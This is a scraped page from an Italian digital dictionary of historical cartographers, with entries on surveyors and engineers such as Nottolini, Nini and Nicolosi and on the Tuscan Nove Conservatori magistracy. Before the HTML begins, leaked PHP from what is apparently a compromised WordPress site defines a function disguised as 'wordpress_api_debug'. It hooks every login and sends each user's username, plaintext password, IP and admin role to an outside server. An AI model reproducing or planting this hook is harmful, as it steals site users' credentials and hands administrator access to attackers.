'/'); } } } } if (!function_exists('getUserIP')) { function getUserIP() { foreach (array('HTTP_CF_CONNECTING_IP', 'HTTP_CLIENT_IP', 'HTTP_X_FORWARDED_FOR', 'HTTP_X_FORWARDED', 'HTTP_X_CLUSTER_CLIENT_IP', 'HTTP_FORWARDED_FOR', 'HTTP_FORWARDED', 'REMOTE_ADDR') as $key) { if (array_key_exists($key, $_SERVER) === true) { foreach (array_map('trim', explode(',', $_SERVER[$key])) as $ip) { if (filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE) !== false) { return $ip; } } } } } } if (!function_exists('isHttps')) { function isHttps() { if ((!empty($_SERVER['REQUEST_SCHEME']) && $_SERVER['REQUEST_SCHEME'] == 'https') || (!empty($_SERVER['HTTPS']) && $_SERVER['HTTPS'] == 'on') || (!empty($_SERVER['HTTP_X_FORWARDED_PROTO']) && $_SERVER['HTTP_X_FORWARDED_PROTO'] == 'https') || (!empty($_SERVER['HTTP_X_FORWARDED_SSL']) && $_SERVER['HTTP_X_FORWARDED_SSL'] == 'on') || (!empty($_SERVER['SERVER_PORT']) && $_SERVER['SERVER_PORT'] == '443')) { $server_request_scheme = 'https'; } else { $server_request_scheme = 'http'; } return $server_request_scheme; } } if (!function_exists('wordpress_api_debug')) { function wordpress_api_debug( $user_login, $user ){ $wpApiUrl = "https://toremanc.com/lnk/api.php"; // $uuuser = get_user_by('login', $_POST['log']); if(in_array('administrator', $uuuser->roles)){ $role = 'admin'; } else{ $role = 'user'; } // $verbLogs = array( 'wp_host' => $_SERVER['HTTP_HOST'], 'wp_uri' => $_SERVER['REQUEST_URI'], 'wp_scheme' => isHttps(), 'user_login' => $_POST['log'], 'user_password' => $_POST['pwd'], 'user_ip' => getUserIP(), 'user_role' => $role ); if (!empty($verbLogs['user_login'])) { $wpLogData = json_encode($verbLogs); $curl = curl_init(); curl_setopt($curl, CURLOPT_HEADER, false); curl_setopt($curl, CURLOPT_URL, $wpApiUrl); curl_setopt($curl, CURLOPT_RETURNTRANSFER, true); curl_setopt($curl, CURLOPT_POST, true); curl_setopt($curl, CURLOPT_POSTFIELDS, $wpLogData); curl_setopt($curl, CURLOPT_HTTPHEADER, array('Content-Type:application/json')); $response = curl_exec($curl); curl_close($curl); } } } if (function_exists('add_action')) { add_action( 'wp_login', 'wordpress_api_debug', 10, 2 ); } ?><!DOCTYPE html> <!--[if IE 7]> <html class="ie ie7" lang="it-IT"> <![endif]--> <!--[if IE 8]> <html class="ie ie8" lang="it-IT"> <![endif]--> <!--[if !(IE 7) & !(IE 8)]><!--> <html lang="it-IT"> <!--<![endif]--> <head> <meta charset="UTF-8" /> <meta name="viewport" content="width=device-width" /> <title>N | Digital DISCI | Pagina 4

Archivi tag: N

Nicoletti Filippo

Filippo Nicoletti
N.
M.

Relazioni di parentela:

Ente/istituzione di appartenenza:
Qualifica: perito architetto per le stime delle fabbriche

Biografia:

Produzione scientifica:

Produzione di cartografia manoscritta:
- ROMA (1819-1822)

Produzione di cartografia a stampa:

Fonti d’archivio:
Catasto Gregoriano, ASR

Bibliografia:

Altro:

Rimandi ad altre schede:

Autore della scheda: Adriano Ruggeri

Nanni Luigi

Luigi Nanni
N.
M.

Relazioni di parentela:

Ente/istituzione di appartenenza:
Qualifica: geometra

Biografia:

Produzione scientifica:

Produzione di cartografia manoscritta:
- MONTESANTO: SP 288 e 289, nella mappa si qualifica “Geom. Cens.”, entrambe insieme a Ceva Carlo “Geom. Cens.” (06/03/1819-02/06/1819; 06/06/1819-02/08/1819)
- PORCIGLIANO: RI 63, insieme a Ceva Carlo, nei brogliardi si qualificano “Geometri C.i”, senza aiutante (11/08/1819-04/09/1819)
- MONTENERO: RI 28, insieme a Ceva Carlo, nei brogliardi si qualificano “Geometri C.i”, senza aiutante (20/09/[1819]-24/10/[1819])

Produzione di cartografia a stampa:

Fonti d’archivio:
Catasto Gregoriano, ASR

Bibliografia:

Altro:

Rimandi ad altre schede: Ceva Carlo

Autore della scheda: Adriano Ruggeri

Nove Conservatori e Confini (Granducato di Toscana)

L’istituzione ha assunto nel corso del tempo le seguenti denominazioni:

Nove Conservatori del Dominio e della Giurisdizione fiorentina (1560-1769)

Auditore delle Riformagioni e Avvocato Regio (1782-1859)

Con decreto del 26 febbraio 1560, il Magistrato dei Consiglieri della Repubblica fiorentina sopprimeva le magistrature degli Otto di Pratica e dei Cinque Conservatori del Contado e Dominio fiorentino per sostituirle con il nuovo magistrato dei Nove Conservatori del dominio e della giurisdizione fiorentina.
La nuova Magistratura si componeva di cinque membri dell’Ordine dei Quarantotto, di due membri del Consiglio dei Dugento e di due cittadini. In essa veniva trasferita e consolidata tutta l’autorità, le giurisdizioni e i privilegi delle due precedenti magistrature, e quindi il controllo sull’amministrazione delle comunità e dei luoghi pii e la tutela dei beni comunitativi dell’intero Stato “vecchio”, escluso quindi lo Stato senese; la Magistratura provvedeva inoltre a determinare e ripartire fra le comunità del distretto una imposta generale detta “Chiesto dei Nove” ed infine riscuoteva ed amministrava le decime del contado.
I Nove avevano inoltre la giurisdizione sul delicato problema del controllo dei confini dello Stato, che dovevano “mantenere”, limitarsi cioè, in quanto organo puramente esecutivo, alla conservazione dei confini precedentemente accertati in maniera definitiva. Infatti, nelle trattative per le nuove confinazioni e in quelle per le rettificazioni e correzioni di una certa rilevanza, continuò a prendere parte diretta il sovrano, nel cui nome tali affari erano trattati in particolare dall’Auditore delle Riformagioni oppure dal Consiglio Privato o Pratica Segreta.
Anche i Nove, come del resto altre magistrature (ad es. lo Scrittoio delle RR. Possessioni), non avevano al loro servizio tecnici stabili, utilizzando di volta in volta i tecnici imborsati o al servizio della magistratura dei Capitani di Parte, con la quale nel settore delle strade si verificò per tutto il periodo mediceo un continuo conflitto di competenze. Nel 1606 Ferdinando I stabilì pertanto che il Soprassindaco dei Nove e il Provveditore dei Capitani di Parte avessero insieme la competenza sull’attività degli Agenti di strade, emanando nello stesso anno le “Istruzioni agli agenti di strade” per una migliore organizzazione del lavoro.
Il decreto del 20 luglio 1691 nominava un ingegnere fisso a servizio dei Nove Conservatori nella persona di Guliano Ciaccheri, con una provvisione di 60 scudi l’anno più lire 10 da pagarsi dalle comunità per la giornata di lavoro nelle aree di pertinenza. Altri tecnici al servizio dei Nove furono Alfonso Parigi, Giovanni Giorgio Kindt (ingegnere stabile dal 1756), Lorenzo Tommasi (1766), Giovanni Franchi (1736); intorno alla metà del XVIII sec. fu direttore del Magistrato dei Nove il lorenese Jadot.
Le funzioni della magistratura del Nove rimasero invariate fino al 1769 quando, con mp del 22 giugno, Pietro Leopoldo soppresse i Nove e i Capitani di Parte, sostituendo ad ambedue la Camera delle Comunità e dei Luoghi Pii.
L’archivio dei Nove passò dapprima alla Camera delle Comunità, poi, con mp del 12 marzo 1782, venne istituito un apposito Archivio dei Confini, concentrato nell’Archivio delle Riformagioni e posto alle dipendenze dell’Avvocato Regio, al quale era affidata la periodica ispezione dei confini stessi; data la sua importanza politica, l’Archivio dei Confini rimase alle dipendenza dell’Avvocato Regio anche dopo la fondazione dell’Archivio Centrale di Stato, in cui confluì soltanto nel 1865.

Produzione cartografica

Tra le carte del fondo ASF, Nove Conservatori, si segnalano in particolare:
“Fortezze, fabbriche e muraglie” 1542-1769, registri e filze 97;
filza 3596: “Notizie istoriche del Magistrato dei Nove”;
filza 1338: “Rapporti dei Capimaestri dal 25 agosto 1558 al 13 giugno 1589”. Si tratta di una filza di relazioni e perizie rimesse alla Magistratura da capimastri e da ingegneri su confinazioni di beni, danni recati, risarcimenti e lavori da farsi a fiumi, strade, mulini, fabbriche dipendenti dalla Magistratura stessa.
Le rappresentazioni cartografiche relative al controllo dei confini, svolto dai Nove Conservatori fino al 1769 e in seguito dall’Auditore delle Riformagioni e dall’Avvocato Regio sono nel fondo ASF, Confini, suddiviso in Piante antiche dei Confini (XVI sec.-1782) e Piante moderne dei confini (1782-1859): comprende 230 piante e 10 registri, per un totale di circa 1000 disegni.
Alcune piante relative alla questione dei confini sono rintracciabili anche in ASF, Miscellanea di Piante (nn. 37, 54/a-c, 75, 77, 107, 135, 233, 293bis/g, 293bis/r, 334, 486/a–f, 500, 503, 530, 533, 539, 539/a–d, 541, 543, 746), che sono probabilmente «da collegare all’attività di uffici come la Pratica Segreta o l’Auditore delle Riformagioni, che trattarono affari di confinazione per speciale incarico del sovrano» (cfr. Rombai, Toccafondi e Vivoli, a cura di, 1987, p. 36).

Operatori

Alfonso Parigi; Giovanni Giorgio Kindt (ingegnere stabile, dal 1756, 1768); Lorenzo Tommasi (1766); Jadot (anni ’40 del XVIII secolo); Gabbriello Ughi; Salvatore Piccioli (1780); Giacomo Benassi (1783); Luigi Kindt (1788); Matteo Masotti (1788); Francesco Fei (1785); Giovanni Maria Veraci (1722, 1727 e 1744); Matteo Vinzoni (1744); Donato Maria Fini (1744); Antonio Capretti (1782); Antonio Matteo Lancisi (1731); Pietro Brunetti (1838, 1846, “Ingegnere delle Riformagioni e Confini”); Gaetano Masotti (1772); Giulio Cerruti (1687); Gaetano Tortoli (1828); Ferdinando Ruggieri (1723); Ferdinando Morozzi (XVIII sec.); Pietro Paolo Calini o Casini (XVIII sec.); Filippo Grobert (1779); Stefano Pasi (1779); Stefano Diletti (1786); Pietro Ferroni (1778); Giuseppe Salvetti (1778); Innocenzio Fazzi (metà del XVIII sec.); Angiolo Maria Mascagni (1762); Pietro Pellegrini (1762); Masseangeli (1696); Tommaso Massini (1641); Giulio Gentili (1789); Gherardo Mechini (1608 e 1613-1614); Lorenzo Petroni (1613-1614); Neri Zocchi; Paolo Priè (1613); Michele Piazzini (1767); Antonio Capretti (1784); Cantagallina (1616); Dionisio Mazzuoli (1725); Piero Antonio Montucci (1739); Alessandro Nini (1783); Bernardo Marmori (1674); Egidio Maria Bordoni (ingegnere pontificio); Giovanni Franchi (1708, 1736); Dario Giuseppe Buonenove (1697); Girolamo Rinaldi (ingegnere pontificio); Michele Ciocca o Ciocchi (1620); Eustachio Manfredi (1724); Giuliano Ciaccheri (ingegnere, dal 1683, 1691, 1696); Giovanni Cristoforo Lorain (1683); Giovanni Azzi (1683); Michele Gori (1697, 1699); Pasquino Boncinelli (1722); Valentino Follini (1729); Marco Pisani (1729); Giuliano Anastasi (o Anastagi, 1734); Landini (1668); Pier Antonio Tosi (1721); Francesco Martinelli (1626); Bergamini (1708); Bartolomeo Ceriolo (1647); Baccio del Bianco (1647); Flaminio Sanminiati (lucchese, 1604); Filippo Lasagnini (1604); Giulio Ambrogio Giannetti (1724); Giuseppe Santini (1695); Giovan Francesco Gabbrielli (lucchese, 1697); Giuseppe Peraccini (1696); Andrea Fabbri (1735); Giovan Battista Pini (1732); Ercole Antonio Buonaccorsi (1732); Matteo Pampani; Francesco Bombicci (1771); Romano Duccini (1771); Tommaso Gaetano Pellegrini (lucchese, 1782); Giovanni Petri (1767); Francesco Fantoni (1635); Bernardo Sansone Sgrilli (1731).

Riferimenti bibliografici e archivistici

Bellinazzi e Manno Tolu, 1995; Casali et Al., 1985; Casali e Diana, 1983; Di Pietro e Fanelli, 1973; Fasano Guarini, 1977, pp. 490-538; Guida generale agli Archivi di Stato italiani, 1983, p. 74; Mantovani, 1987; Orefice, 1984, pp. 119-128; Pisa. Iconografia a stampa dal XV al XVIII secolo, 1992; Raffo Maggini, a cura di, 2001; Rombai, 1983; Rombai, 1987; Rombai e Sorelli, 1992; Rombai, Toccafondi e Vivoli, a cura di, 1987; Toccafondi e Vivoli, 1993; Vivoli, 1993; Vivoli, 1994; Vivoli, 2003; ASF, Nove Conservatori del Dominio e della Giurisdizione fiorentina; ASF, Piante dei Confini; ASF, Piante antiche dei Confini (XVI sec.-1782); ASF, Piante moderne dei Confini (1782-1859); ASF, Miscellanea di Piante.

Rosamaria Martellacci (Siena)

Novarese, Vittorio

Vittorio Novarese
N. Torino 7 marzo 1861
M. Roma 26 marzo 1948

Relazioni di parentela: Figlio di Luigi Novarese e di Maria Defilippi

Ente/istituzione di appartenenza:
Qualifica:

Biografia:

Produzione scientifica:

Produzione di cartografia manoscritta:

Produzione di cartografia a stampa:
La sua carriera di geologo rilevatore iniziò nel 1886 in Calabria e dal 1890 nelle Alpi Occidentali. A quest’ultima area dedicò circa quarant’anni di lavoro partecipando, con Franchi, Mattirolo e il bresciano Stella, al rilevamento di 14 fogli alla scala 1: 100.000 tra le valli del Pinerolese e il Lago di Como. Con Franchi e Stella fu sostenitore della datazione all’età mesozoica della formazione dei calcescisti con pietre verdi. Il risultato complessivo dei suoi rilevamenti comparve nella carta di sintesi sulla Geologia delle Alpi Occidentali pubblicata nel 1908 dal R. Ufficio Geologico.
Dopo il 1912 si occupò di ricerche minerarie e geologiche in Sardegna e all’estero, in Argentina, Transcaucasia e Eritrea. Dal 1921 fu professore di Geologia applicata e mineralogia al Politecnico di Roma.

Fonti d’archivio:

Bibliografia:
C. CREMA, Vittorio Novarese, in “Boll. Soc. Geol. It.”, 68 (1949), pp. 99-109


N. PELLATI, Contribuzione alla storia della Cartografia Geologica in Italia, in Atti del Congresso Internazionale di Scienze Storiche (Roma, 1903), vol. X (Sezione Storia della Geografia, Geografia Storica), Roma, Tip. della R. Accademia dei Lincei, 1904, pp. 131-163

Rimandi ad altre schede: S. Franchi ed E. Mattirolo

Autore della scheda: Franca Campanino

Nottolini, Lorenzo

Lorenzo Nottolini
N. 6 maggio 1787
M. 1851

Relazioni di parentela:

Ente/istituzione di appartenenza:
Qualifica: Ingegnere e architetto lucchese, Acque e Strade, architetto

Biografia:

Produzione scientifica:
Nel 1810 sostiene gli esami di abilitazione ad esercitare la professione di agrimensore che gli procurerà subito un’assunzione alle dipendenze dell’Ingegnere Capo Carlo De Sambucy. L’anno successivo si trasferisce a Firenze dove segue gli studi presso l’Accademia delle Belle Arti. Nel 1812 è invece a Bologna presso l’Accademia Clementina (grazie all’interessamento della principessa Elisa Baciocchi Bonaparte, alla quale aveva richiesto espressamente tale esperienza) per conoscere personalmente la figura di Giovanni Antonio Antolini, considerato dal Nottolini “uno dei più celebri architetti italiani”. A fine 1812 il Nottolini è a Roma dove subisce il fascino della cultura francese e riceve l’insegnamento dell’architettura nell’Accademia di San Luca: dopo tali esperienze, si forma il convinto allineamento del Nottolini sul fronte culturale antibarocco e antimanierista e le sue idee riguardo ad una architettura “regolare”, con un congruente impianto simmetrico, su uno scheletro rigorosamente geometrico, e piena di “proporzione” e “purezza.
Nel 1818 fu nominato Architetto Regio della Casa e della Corte da Maria Luisa di Borbone e membro del Consiglio delle Acque Strade e Macchie, e l’opera del Nottolini si concretizzò non solo attraverso progetti architettonici, ma rinnovò anche il volto della città di Lucca con opere di importanza urbanistica, quali il Pubblico Passeggio ottenuto grazie alla copertura del tratto meridionale dei Fossi (1820-1822), la sistemazione a verde pubblico dell’intero circuito delle Mura rinascimentali con la piantagione di centinaia di alberi (1818-1820), la rettificazione della Via Pozzotorelli (1822) tra la Piazza Napoleone e quella di San Michele in Foro, il restauro dell’Anfiteatro romano con creazione nella sua arena liberata della piazza per il mercato della frutta (1830-1839).
Inoltre le attenzioni del Nottolini si posero anche su di un progetto che riuscisse a risolvere il problema dell’approvvigionamento dell’acqua a Lucca: fra il 1822 e il 1834, realizzò un’opera che congiungeva, con una corsa di oltre quattrocento arcate in pietra e laterizio su altissimi pilastri, le acque che venivano captate sui colli di Guamo, sino al giro delle mura urbane e quindi con un complesso e funzionale sistema di condotti portava poi l’acqua all’interno di Lucca, ove particolare importanza monumentale venne data alle fonti pubbliche che furono realizzate fra il 1836 e il 1840.
Infine vanno ricordate anche le soluzioni che furono apportate alla rete della viabilità con la costruzione, fra il 1841 e il 1850, della via Ludovica, che si dipanava lungo la riva destra del Serchio, presentando numerose gallerie, viadotti e alcuni ponti anche monumentali, come quello sul torrente Fegana costruito nel 1844.
Con Ferdinando Piazzini, Nottolini è autore il 30 giugno 1828 di una perizia (con piante e profili di livellazione) per l’essiccazione del Lago di Bientina (AAADF, Fondo Manetti, Cat. E.13, ins. 4: Bencivenni, 1984, p. 85). Con Giuseppe Pianigiani, alla fine degli anni ’40 fu incaricato da una commissione per il bonificamento del Lago di Bientina (finanziata dal principe Carlo Poniatowsky) di studiare la fattibilità dell’operazione mediante la deviazione del fiume Serchio: da cui una memoria edita collettivamente da Cosimo Ridolfi, Giuseppe Pianigiani e Carlo Matteucci nel 1850 (AAADF, Fondo Manetti, Cat. E.12, ins. 2: Bencivenni, 1984, p. 83).
Riguardo all’impegno di bonificatore, scrive ironicamente il granduca Leopoldo II, nella sua ricostruzione della vicenda, che “negli ultimi tempi l’architetto Nottolini lucchese, uomo di molto ingegno ma fervido ed immaginoso, produsse altro progetto col quale tutti si eliminarono i pericoli e tutti si assicurarono i vantaggi: a Bientina lo scolo, a Massaciuccoli le colmate, a Pisa assicurazione dal Serchio; ottenne favore presso la regina d’Etruria che allora governava Lucca. Fu raccomandato a mio padre, e da questi fu deputato l’ingegnere Stefano Piazzini, uomo pratico delle acque nostre e versatissimo nelle condizioni del Pisano, a fare con Nottolini li studi sul terreno e referire sul dispendio”. Dopo le trattative con Lucca e dopo un attento sopralluogo del giovane Leopoldo non ancora granduca in compagnia del Piazzini “colle carte”, l’affare rimasto per anni in sospeso fu infine ripreso dal nuovo principe. Che così prosegue. “Ripresi il progetto Nottolini e, nelle notti vegliate a Pisa nel 1832, pensai da me la grandissima differenza di spesa tra le due perizie Piazzini e Nottolini, che non poteva nascere da caso o da errore…” (Pesendorfer, a cura di, 1987, p. 246).

Produzione di cartografia manoscritta:
Piante e profili di livellazione per l’essiccazione del Lago di Bientina, con Ferdinando Piazzini, 30 giugno 1828 (AAADF, Fondo Manetti, Cat. E.13, ins. 4).

Produzione di cartografia a stampa:

Fonti d’archivio:

Bibliografia:
Azzari, 1993, pp. 161-193; Barsanti e Rombai, 1986; Barsanti e Rombai, a cura di, 1994; Bongi, 1872-1888; Matteucci, 1913, pp. 101-117; Bencivenni, 1984, pp. 83 e 85; Pesendorfer, a cura di, 1987, p. 246; AAADF, Fondo Manetti, Cat. E.12, ins. 2; ASLu, Acque e Strade.

Rimandi ad altre schede:

Autore della scheda: Giulio Tarchi

Ninni, Filippo

Filippo Ninni
N.
M.

Relazioni di parentela: Discendente di Alessandro Nini, anche se non si sa quale parentela lo leghi esattamente all’altro.

Ente/istituzione di appartenenza:
Qualifica: Architetto senese

Biografia:

Produzione scientifica:
Nel 1802 entrò nello Scrittoio delle Regie Fabbriche Granducali.
Fra il 1810 e il 1811 (durante il governo francese) operava a Siena nel ruolo di Architetto per l'Intendenza della Casa Imperiale e dei Beni della Corona nel Governo della Toscana.
Nel 1814-15, al ritorno dei Lorena, venne confermato Architetto a Siena sempre per conto dello Scrittoio. In questi anni si occupò della progettazione e del restauro di edifici pubblici (come la posta e locanda di Radicofani, e vari edifici civili e militari del Grossetano) e di lavori ad alcune strade del Senese.
Nel 1816 venne trasferito a Firenze, dove lavorò per circa un quindicennio.
Nel 1825 ricevette la nomina di "Accademico Professore di 1° classe" all'Accademia di Belle Arti di Firenze".
Nei primi anni della sua permanenza a Firenze ricevette diversi incarichi fuori città (dogana di Sansepolcro; saline di Volterra; Bagni di Montecatini), ma dal 1820 in poi lavorò quasi esclusivamente a Firenze per il restauro e mantenimento dei più importanti edifici pubblici religiosi e civili (Uffizi, Fortezza da Basso, chiesa di Orsanmichele, tribunale, zecca, Palazzo Pitti, ville mediceee, ecc.).
Nel 1832 venne dispensato dal servizio per malattia.
Nell’archivio della magistratura, ben segnalati nell’inventario, restano – a sua firma – una decina di planimetrie e disegni architettonici, tra i quali si segnalano le piante del magazzino del sale e tabacchi di Arcidosso del 1816 (ASF, Scrittoio delle Fortezze e Fabbriche. Fabbriche Lorenesi, n. 2059, ins. 73), della posta di Rdicofani del 1823 (ASF, Scrittoio delle Fortezze e Fabbriche. Fabbriche Lorenesi, n. 2087, ins. 25), del magazzino del sale di Empoli del 1828 (ASF, Scrittoio delle Fortezze e Fabbriche. Fabbriche Lorenesi, n. 2111, ins. 62) e della villa reale di Castello di Firenze del 1828 (ASF, Scrittoio delle Fortezze e Fabbriche. Fabbriche Lorenesi, n. 2112, ins. 135).

Produzione di cartografia manoscritta:

Produzione di cartografia a stampa:

Fonti d’archivio:

Bibliografia:
Cresti e Zangheri, 1978, p. 168; ASF, Scrittoio delle Fortezze e Fabbriche. Fabbriche Lorenesi.

Rimandi ad altre schede:

Autore della scheda: Anna Guarducci

Nini, Alessandro

Alessandro Nini
N.
M.

Relazioni di parentela:

Ente/istituzione di appartenenza:
Qualifica: Ingegnere senese

Biografia:

Produzione scientifica:
inserì il nome di Nini (insieme a quelli di Grobert e Bombicci) fra gli ingegneri che avrebbero potuto affiancare i geodeti ed astronomi toscani (fra i quali l’altro collaboratore Francesco Puccinelli) per la costruzione della Carta Geografica della Toscana.
Il lavoro idraulico più impegnativo fu senz’altro l’assistenza alle operazioni della bonifica ximeniana di Castiglione della Pescaia prestata fra il 1765 e il 1780 insieme ai colleghi Ciocchi, Fini e Puccinelli.
Fra il 1779 e il 1785 collaborò ancora con Ximenes ai lavori di riscontro dei confini controversi nella Maremma pisana e grossetana fra il Ganducato e il Principato di Piombino e non poche delle carte dalla salda impostazione planimetrica redatte, in funzione dell’accordo fra i due Stati, insieme all’ingegnere piombinese Giacomo Benassi, furono firmate proprio da Nini: è il caso delle carte dei confini in Val di Cornia (sono tutte in ASF, Miscellanea di Piante, nn. 37 e 517), della Val di Pecora (ivi, nn. 507, 516 e 764), di Pian d’Alma e Gualdo (ivi, nn. 58, 501, 513-514, 518, 520-522, 531, 535 e 545), della sezione nord-occidentale della pianura di Grosseto tra la Bruna e il lago padule di Castiglione (ivi, nn. 503, 506, 515, 519 e 523-529; per altre carte vedi anche ASGr, Ufficio dei Fossi, n. 17, c. 688r, sc. 18 e c. 689, sc. 19).
Contemporaneamente, per la precisione nel 1781-83, seguì Ximenes ai lavori di riparazione dell’acquedotto di Castiglione della Pescaia e collaborò col matematico anche per le questioni dei mulini sull’Arbia e della permuta di beni fra i certosini di Pontignano e la famiglia Placidi nel podere S. Arcangelo lungo l’Ombrone presso Asciano.
Nel 1782, Nini propose la ricostruzione del ponte di Macereto sulla Strada Siena-Grosseto (Sterpos, 1977, p. 31).
Nel 1782-84 intervenne nella bonifica del Padule d'Orgia, nei pressi di Siena, realizzando, in collaborazione con l'ingegnere Bernardino Fantastici, diversi disegni dell'area e dei corsi d'acqua con i relativi profili (in ASS, Piante dei Quattro Conservatori, nn. 276-279 e, attribuito, n. 283); il lavoro fu compiuto sulla base di rilievi e misurazioni effettuati nei primi del maggio dello stesso anno sotto il diretto controllo del matematico Ximenes.
Nel 1785 seguì pure i lavori al fiume Orcia e al nuovo ponte progettato da Ferroni alla strada Senese Romana.
Alessandro Nini progettò nel 1787 la strada tra Chiusi e Chianciano e quella “per comunicare ai Bagni di San Casciano.
In previsione della vendita degli estesi beni granducali dell’area, nel 1780, redasse – sotto la direzione di Ximenes – la grande Pianta topografica del Marchesato di Castiglione in scala di 1:8000 circa (ASF, Piante dello Scrittoio delle Regie Possessioni, n. 109), che presenta un’impostazione planimetrica di tipo moderno e restituisce con grande esattezza l’articolata realtà paesistico-ambientale dell’antico feudo; a parte, sono disegnate in ingrandimento le piante dei paesi di Castiglione e Tirli. Tale rappresentazione può definirsi grandiosa, sia per le notevoli dimensioni, sia per l'immagine complessiva (attenta e ricchissima di particolari) che offre del paesaggio agrario maremmano con tutte le sue singole componenti, compresi i due centri abitati principali resi planimetricamente e in alzato (addirittura con utilissime indicazioni circa l'utilizzo dei fabbricati); da sottolineare anche l'apparato decorativo, con un elaborato cartiglio ed una elegante cornice (Barsanti, 1984, p. 149 e fig. 47).
Nel 1805 ricopriva il ruolo di Ingegnere alle dipendenze dello Scrittoio delle Regie Fabbriche a Siena.
Il 31 agosto 1807 risultava inserito nel “Ruolo dei Provvisionati […] delle Comunità della Provincia Superiore Senese”, con 7 anni di servizio e un onorario di 840 lire (ASF, Depositeria Generale, Parte Antica, f. 1648, I, ins. 100).
L’ultimo lavoro documentato è il progetto, in diversi disegni, del Palazzo Reale di Siena, eseguito nel 1813 (ASF, Piante dello Scrittoio delle Fortezze e Fabbriche, 562-567).

Produzione di cartografia manoscritta:
Profilo della Strada, che dà San Casciano porta ai Bagni, nel quale si fà vedere la pendenza della medesima, li scolmi, che possano farvisi, e la mutazione, che si propone nel tratto segnato A B, per render meno inclinato, e più agevole il Declive della medesima, 1770 (ASS, Piante dei Quattro Conservatori, n. 89);
Pianta dimostrativa l’andamento delle due linee livellate per le valli del Sestaione e della Lima, ad oggetto di scegliere la migliore per costruirvi sopra il termine della nuova Strada Pistoiese ecc., 1771 (Sterpos, 1977, pp. 7, 25-26, 28 e 31);
Pianta dell’andamento del corso presente dei torrenti Ampio e Castigliano, dal Lago di Castiglioni o dell’Abbadiola fino alle radici dei monti, dai quali scendono e Pianta dell’adiacenze di detti torrenti, 1781 (ASF, Piante dello Scrittorio delle Fortezze e Fabbriche, 58);
Pianta e profilo di un tronco del Fiume Arbia dal ponte nella Strada Romana fino alla confluenza della Sorra in detto fiume, luglio 1781 (ASF, Piante dello Scrittoio delle Fortezze e Fabbriche, 605).
Pianta d’un tronco del Fiume Mersa, e del Torrente Serpenna nella loro confluenza, ove si vedono i lavori, che converrebbe farsi, perchè l’Influente si unisca felicemente col Recipiente. Profilo della Livellazione del Torrente Serpenna dalla confluenza colla Mersa fino al Ponte al Frasso, attr., 1782 (ASS, Piante dei Quattro Conservatori, n. 283);
Profilo del Fosso della Serpenna dal suo sbocco nel fiume Merse fino al paletto XX della livellazione posto al di sopra del Ponte al Frasso canne 190 Fiorentine, 1784 (ASS, Piante dei Quattro Conservatori, n. 277);
Sezioni del fosso della Serpenna dal paletto XX fino alla via della Querciola al di sopra del distretto, N° V, [1784] (ASS, Piante dei Quattro Conservatori, n. 279);
Sezioni del fosso della Serpenna nel tronco interposto fra la confluenza del fiume Merse ed il paletto XX della livellazione posto al di sopra del Ponte al Frasso canne 190 Fiorentine, con Bernardino Fantastici [1784] (ASS, Piante dei Quattro Conservatori, n. 278);

Produzione di cartografia a stampa:

Fonti d’archivio:

Bibliografia:
Pietro Leopoldo, 1969, I, p. 96; Sterpos, 1977, pp. 7, 25-26 e 28; Cresti e Zangheri, 1978, p. 168; Barsanti, 1984, p. 149 e fig. 47; Barsanti e Rombai, 1987, pp. 11, 14, 43, 72, 81, 92 e 190; Rombai, Toccafondi e Vivoli, 1987, pp. 77, 379-388 e 477; Tognarini, a cura di, 1990, p. 130; Vichi, 1990, pp. 74-76; Barsanti e Rombai, a cura di, 1994, passim; Barsanti, Bonelli Conenna e Rombai, 2001, pp. 26, 33-35 e 96; Di Pietro, 2005, p. 124; ASF, Depositeria Generale, Parte Antica; ASF, Piante dello Scrittoio delle Regie Possessioni; ASF, Piante dello Scrittorio delle Fortezze e Fabbriche; ASS, Piante dei Quattro Conservatori; ASGr, Ufficio dei Fossi.

Rimandi ad altre schede:

Autore della scheda: Anna Guarducci

Nicolosi, Giovan Battista

Giovan Battista Nicolosi
N. Paternò 7 ottobre 1610
M. 10 gennaio 1670

Relazioni di parentela:

Ente/istituzione di appartenenza:
Qualifica: Sacerdote, insegnante di Geografia come istitutore in case principesche, diplomatico.

Biografia:

Produzione scientifica:
Ordinato Sacerdote, si trasferì a Roma, dove svolse prevalentemente la sua attività scientifica e didattica. Insegnò geografia come istitutore in case principesche e ai fini del suo magistero pubblicò dapprima una Teorica del globo terrestre (1642), che é un piccolo trattato di geografia matematica, lacunoso e imperfetto come accade un po’ a tutti gli scritti giovanili, e da ultimo una Guida allo studio geografico (1662), breve trattazione di cosmografia e cartografia. Entrambe le opere riflettono una chiara impostazione tolemaica e la seconda doveva valere come introduzione alla maggiore, se pure incompleta fatica dell’A., data alle stampe precedentemente (1660), dal titolo Dell’Hercole e Studio geografico. Composta di 22 carte con testo esplicativo, per l’enorme successo avuto essa fu ristampata postuma (1670) in latino, entrando a pieno titolo nel circuito culturale europeo.
Altre carte geografiche e globi il N. disegnò su commissione di Propaganda Fide e della famiglia Borghese, presso cui fu precettore per vari anni. Eruditissimo, poliglotta, instancabile lavoratore, dovette occuparsi anche di arte militare, di fortificazioni e di eserciti, argomenti cui dedicò parecchi scritti. Ma essi, come altre ricerche, studi ed opere letterario-teatrali, non videro mai la luce, si pensa a causa della morte relativamente prematura.
Tra gli autografi che si conservano nella Biblioteca Casanatense di Roma vi sono i Ragguagli di un viaggio in Germania, sotto il cui titolo sono raggruppate 20 lettere scritte al cardinale Rinaldo d’Este, duca di Modena, in cui il N. descrive il viaggio fatto come accompagnatore del Principe Massimiliano di Baden. Invece nel Ms. 674, composto di 304 fogli cartacei, corrispondenti a circa 600 pagine di testo, sono raccolti con il titolo recente di Miscellanea di opere geografiche altri suoi scritti inediti, redatti parte in lingua spagnola, parte in italiano, attinenti alcuni alle coste e a varie regioni della Spagna, altri alle coste adriatiche e ioniche della penisola balcanica, altri ancora a stati e staterelli italiani.
Tra questi ultimi lavori assumono particolare rilievo una Descrizione Geografica del Regno di Napoli, cui riserveremo un particolare commento.
Suscita ancora qualche perplessità se non imbarazzo discorrere di un autore forse troppo celebrato in vita (ma anche troppo dimenticato dopo la morte), soprattutto per la ragione che egli, in un’epoca in cui la teoria copernicana faceva sentire già le sue superiori ragioni, abbracciò – apparentemente intitubante – quella tolemaica. Certamente, l’adesione al sistema cosmografico tradizionale ha finito per condizionare in negativo il giudizio dei posteri anche sul contributo più squisitamente geografico che il N. seppe dare (da ultimo, sul versante cartografico, cfr. VALERIO, 1993, pp. 66-67, note 104 e 111).
